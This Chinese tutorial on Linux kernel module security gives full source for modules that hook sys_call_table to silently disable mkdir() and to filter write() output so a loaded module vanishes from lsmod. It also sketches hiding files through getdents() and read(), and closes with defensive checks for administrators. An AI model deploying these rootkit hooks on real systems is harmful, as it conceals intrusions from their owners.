linuxkernelsecure(Linux 内核安全)

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

Linux 内核安全
关键字:LKM, module, hacking
强化001班李群Linux内核是作为Monolithic architecture (单内核体系结构) 而实现的,为了获得Microkernel architecture (微内核体系结构) 带来的可扩展性和可维护性,Linux 引入了模块(module) 机制,(比较准确的说法是Loadable Kernel Module, 可装载内核模块),藉此来保证内核的紧凑性和Linux本身固有的单一体系结构的优点——上下文切换速度快。

在Linux中,用户(通常需要root权限)通过modutils软件包中提供的工具,动态地将模块(如网络驱动等)插入、移出内核。

这样,内核的功能可以动态地添加和删除,却不需要每次都经过冗长的关机/重启过程。

因为模块运行的环境是内核,因而它具有内核特权,模块编程也就是内核编程,它是Linux Kernel Hacking 的主要工具。

本文讲述在Linux下,如何通过module 来拦截系统调用,以及Kernel Hacking 的一些防范手段。

Linux通过int 0x80 软中断实现系统调用。

系统调用列表在Linux 自举时通过init_IRQ( ) 调用宏set_intr_gate 初始化。

当系统调用发生时,内核检查系统调用的有效性,然后将控制权转给实际的系统调用代码。

系统调用表sys_call_table[] 可以在文件entry.S 中找到。

它看起来应该如下所示:
……
ENTRY (sys_call_table)
.long SYMBOL_NAME (sys_ni_syscall) /* …… */ .long SYMBOL_NAME (sys_exit)
.long SYMBOL_NAME (sys_fork)
.long SYMBOL_NAME (sys_read)
… …
文件unistd.h 为每个系统调用规定了唯一的编号,它看起来应该如下所示:
… …
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
… …
不难看出,每个系统调用所对应的编号正是该系统调用在指向函数的指针数组sys_call_table[]中的下标。

内核检查%eax的有效性,sys_call_table[%eax]便是用户要求的系统调用的入口指针。

那么,怎样才能拦截系统调用呢?很简单,只要将sys_call_table[]中对应的入口指针替换成我们自己的函数指针即可。

好了,有了上述知识,现在可以进行编程了。

作为最简单的例子,我们可以试着拦截mkdir()系统调用。

/*
*hack_mkdir.c David 2003-4-19
*It shows how to intercept a system call.
*/
#include <linux/module.h> /*编译模块必需的头文件*/
#include <sys/syscall.h>
#include <asm/unistd.h>
extern void *sys_call_table [];
int (*origin_mkdir) (const char *); /*用于保存旧的系统调用*/ int hacked_mkdir(const char *pathname) /*新的系统调用*/
{
return 0;
}
int init_module() /*模块入口点,初始化时调用*/
{
origin_mkdir=sys_call_table [__NR_mkdir];
/*保存旧系统调用*/ sys_call_table [__NR_mkdir] = hacked_mkdir;
/*替换成新系统调用*/ return 0;
}
void cleanup_module() /*模块入口点,卸载前调用*/
{
sys_call_table [__NR_mkdir] = origin_mkdir;
/*复位旧系统调用*/
}
应用程序从main( )开始执行单个任务,而模块却只是预先注册自己以服务于将来的某个请求。

插入模块时,内核调用init_module( )初始化模块;移除模块时,内核调用cleanup_module( )做一些善后工作。

如上代码所示,我们将mkdir( )系统调用换成了新的调用hacked_mkdir( ),事实上它只是一个空函数。

为了编译上面的模块,我们写个Makefile文件如下:
#please modify it according to your own system
KERNELDIR=/usr/src/linux-2.4
CFLAGS=-D__KERNEL__ -DMODULE -I$(KERNELDIR)/include \ -O -Wall
include $(KERNELDIR)/configs/kernel-2.4.18-i686.config ifdef CONFIG_SMP
CFLAGS+=-D__SMP__ -DSMP
endif
all: hack_mkdir.o
clean:
rm -f *.o *~ core
不要忘记rm前有个Tab键。

好了,在终端下敲入make,你会发现当前文件夹下多了个文件hack_mkdir.o,这就是编译好的模块。

#/sbin/insmod hack_mkdir.o
warnning:it will taint the kernel.
#mkdir test
#ls
hack_mkdir.c hack_mkdir.o Makefile
你会发现test文件夹根本就没有建立,而可怕的是系统根本就没有任何出错信息!原因很简单,因为实际的mkdir( )已经被替换成了hacked_mkdir( ),而且的它返回值是0,系统误以为它正确地建立了文件夹。

#/sbin/rmmod hack_mkdir
#mkdir test
#ls
hack_mkdir.c hack_mkdir.o Makefile test
移除模块后,原有的mkdir( )系统调用得以复位,因而系统正确地建立了文件夹test。

由此我们可以看到Kernel Hacking的威力!如果一个系统的内核被入侵,其后果是相当严重的。

“正如运输界有泰坦尼克等事故一样,计算机安全专家往往也容易忽略某些细节(Andrew S. Tanenbaum)。

”而LKM由于其极强的隐蔽性和强大的功能,备受Linux Kernel Hackers 的喜爱。

所以,系统管理员绝对不能轻易地将网络上下载的模块插入到内核,因为这样做无疑等于给了入侵者root权限。

在系统安全性极其重要的情况下,我们应该只相信源代码,自己手工将经过检查的源代码编译为模块。

事实上,上面的模块除了用于演示之外,基本没有任何实际用途,因为几乎任何系统管理员都可以发现这个mkdir( )异常,并且找出错
误的根源。

只要他/她输入/sbin/lsmod命令,就会得到如下输出:hack_mkdir 8192 0(unused)
因而系统管理员就会知道是hack_mkdir模块搞的鬼,因而他/她可以跟踪其来源,并排除系统漏洞。

下面,我们将隐藏文件中的特定内容,比如/proc/modules中的“hack_mkdir”。

首先,我们应该知道/sbin/lsmod其实就是输出了
/proc/modules中的内容,此外,输出文件中的内容需要write( )系统调用,如果您不知道某个command进行了哪些系统调用,没关系,我们可以用strace系统程式来跟踪command运行时进行的系统调用。

比如,向终端写字符串“this is a test”。

#strace echo “this is a test”
……
write (1, "this is a test\n", 15) = 15
munmap (0x40056000, 4096) = 0
_exit (0) = ?
由此可以看出向终端写字符串“this is a test”调用了write( ),其中1代表stdout,返回值15是字符串的长度。

/*
*hack_write.c David 2003-4-19
*The modules shows how to hack system call write ( ) in order *that we can hide the special message in the file.
*/
#include <linux/module.h>
#include <linux/config.h>
#include <linux/types.h>
#include <linux/slab.h> /*for kmalloc() & kfree() */
#include <asm/uaccess.h> /*for strncpy_from_user() */
#include <sys/syscall.h>
#include <asm/unistd.h>
extern void* sys_call_table[];
extern void kfree(const void *);
extern void* kmalloc(size_t, int);
extern char* strstr(const char *,const char *);
extern __kernel_size_t strlen(const char *);
extern long strncpy_from_user(char *,const char *,long );
int (*origin_write)(unsigned int,char*,unsigned int);
/*用于保存旧系统调用*/
int hacked_write(unsigned int fd,char* buf,unsigned int
count)
{
char *kernel_buf;
char hide_buf[]="hack_mkdir";/*我们想隐藏的信息*/
kernel_buf= (char*) kmalloc (1024, GFP_KERNEL);
/*获取内核空闲页,Get Free Page*/ strncpy_from_user (kernel_buf, buf, 1023); /*跨空间传输*/ if(strstr(kernel_buf,(char *)&hide_buf)!=NULL){
kfree (kernel_buf);
return strlen(hide_buf);
/*告诉内核已经写了strlen(hide_buf)个字符*/ }
else{ /*不是需要隐藏的信息*/
kfree (kernel_buf);
return origin_write(fd,buf,count); /*返回正常调用结果*/ }
}
int init_module()
{
origin_write=sys_call_table [__NR_write];
sys_call_table [__NR_write] =hacked_write;
return 0;
}
void cleanup_module()
{
sys_call_table [__NR_write] =origin_write;
}
或许有人会问,模块中为什么要进行跨空间传输呢?这里,有两个很重要的概念就是“内核空间地址”和“用户空间地址”。

内核空
间地址和用户空间地址之间很大的一个差异就是,用户空间的内存是可被换出的。

当内核访问用户空间指针时,相对应的页面可能已经不在内存中了,这样的话就会产生一个页面失效。

在Linux中,跨空间的拷贝是由一些特定的函数完成的,它们在<asm/unaccess.h>中定义。

函数strncpy_from_user( )的作用并不限于在内核空间和用户空间之间拷贝数据,它还会检查用户空间的指针是否有效。

值得注意的是,访问用户空间的任何函数(如hacked_write( ))都必须是可重入的,并且必须能和模块里的其他函数并发执行。

可重入代码(reentrant code)是指这样的代码:其中不使用任何全局变量来记录状态信息,因而可以处理交织的调用,而不会造成混淆。

如果所有状态信息都是进程特定的,就不会发生冲突。

在单处理器的Linux 系统中,运行内核代码的进程是非抢占式的,Linux只能做用户抢先(原因很简单,因为Linus不信任内核抢先)。

上面的代码可以正常工作。

将Makefile中的all:hack_mkdir.o改为all:hack_write.o便得到我们需要的Makefile。

将hack_mkdir.o插入内核后,再将该模块插入内核,运行/sbin/lsmod,你会发现没有类似“hack_mkdir 8192 0(unused)”的字段,只不过多了一段有关hack_write的信息。

很简单,只要将上面两个模块合二为一,我们便能隐藏我们的模块信息了。

不过,系统管理员还是可以通过l s看到你的源文件、目标模块,当然我们也可以隐藏整个文件夹,拦截什么调用?getdents( )。

但是,系统管理员仍然可以通过cat /xxdir/xxfilename 直接输出文件内容,怎么办?拦截read( )。

打不开文件,哪里还谈得
上输出其内容呢?
LKM可以做很多很多事情,只要你有足够的想象力。

然而LKM并不意味着系统管理员的末日。

系统管理员也可以利用LKM更轻松地管理、监视系统。

1)在insmod时检查特定的命令行标志信息。

这个信息可以用于标
识用户的合法性。

如在模块中加入:
char key[32]=””;
MODULE_PARM (key,”s”); /*声明key为字符串型*/
int init_module()
{
if(!strcmp(key,”root_key”)){
……; /*合法时运行的代码*/ }else{
printk(KERN_ALERT “Alert message.\n”);/*报警*/
return -1;
}
return 0;
}
2)插入模块时,检查用户的gid、uid等。

我们可以通过#include <linux/sched.h>,来引用current指针,
current指向当前进程的PCB,而current->uid,current->gid便是
当前进程的用户标识和用户组标识。

root 的uid是0,而普通用
户的uid一般不小于500。

3)限定模块只能从特定的目录插入内核,比如/root目录。

因为
hackers不知道这一限制,所以擅自插入模块将引起系统报警。

4)更高级的方法:添加用于保护内核的代码,然后重新编译内
核,使之具有较强的安全防范能力。

具体方法可以参考Moshe
Bar的《Linux技术内幕》。

最后,我想说明,Linux是一个能带给人乐趣的系统,而LKM 方面的攻防都涉及了大量的内核源代码和操作系统方面的知识。

Linux Kernel Hacking 也成了Linux社区和Linux Kernel Mail List
里最热门的话题。

要想使系统的安全性得到保证,只有不断学习、探讨、研究,并亲自动手实践。

也只有这样,才能领略到其中无穷的乐趣。

请记住:Linux安全,从内核作起。

本文中所有代码均在RedHat 7.3中测试通过。

[参考书目]
《Linux技术内幕》Moshe Bar 著,清华大学出版社
《Linux设备驱动程序》Rubini &Corbet 著,中国电力出版社《Linux内核2.4版源代码分析大全》李善平等著机械工业出版社。

相关文档
最新文档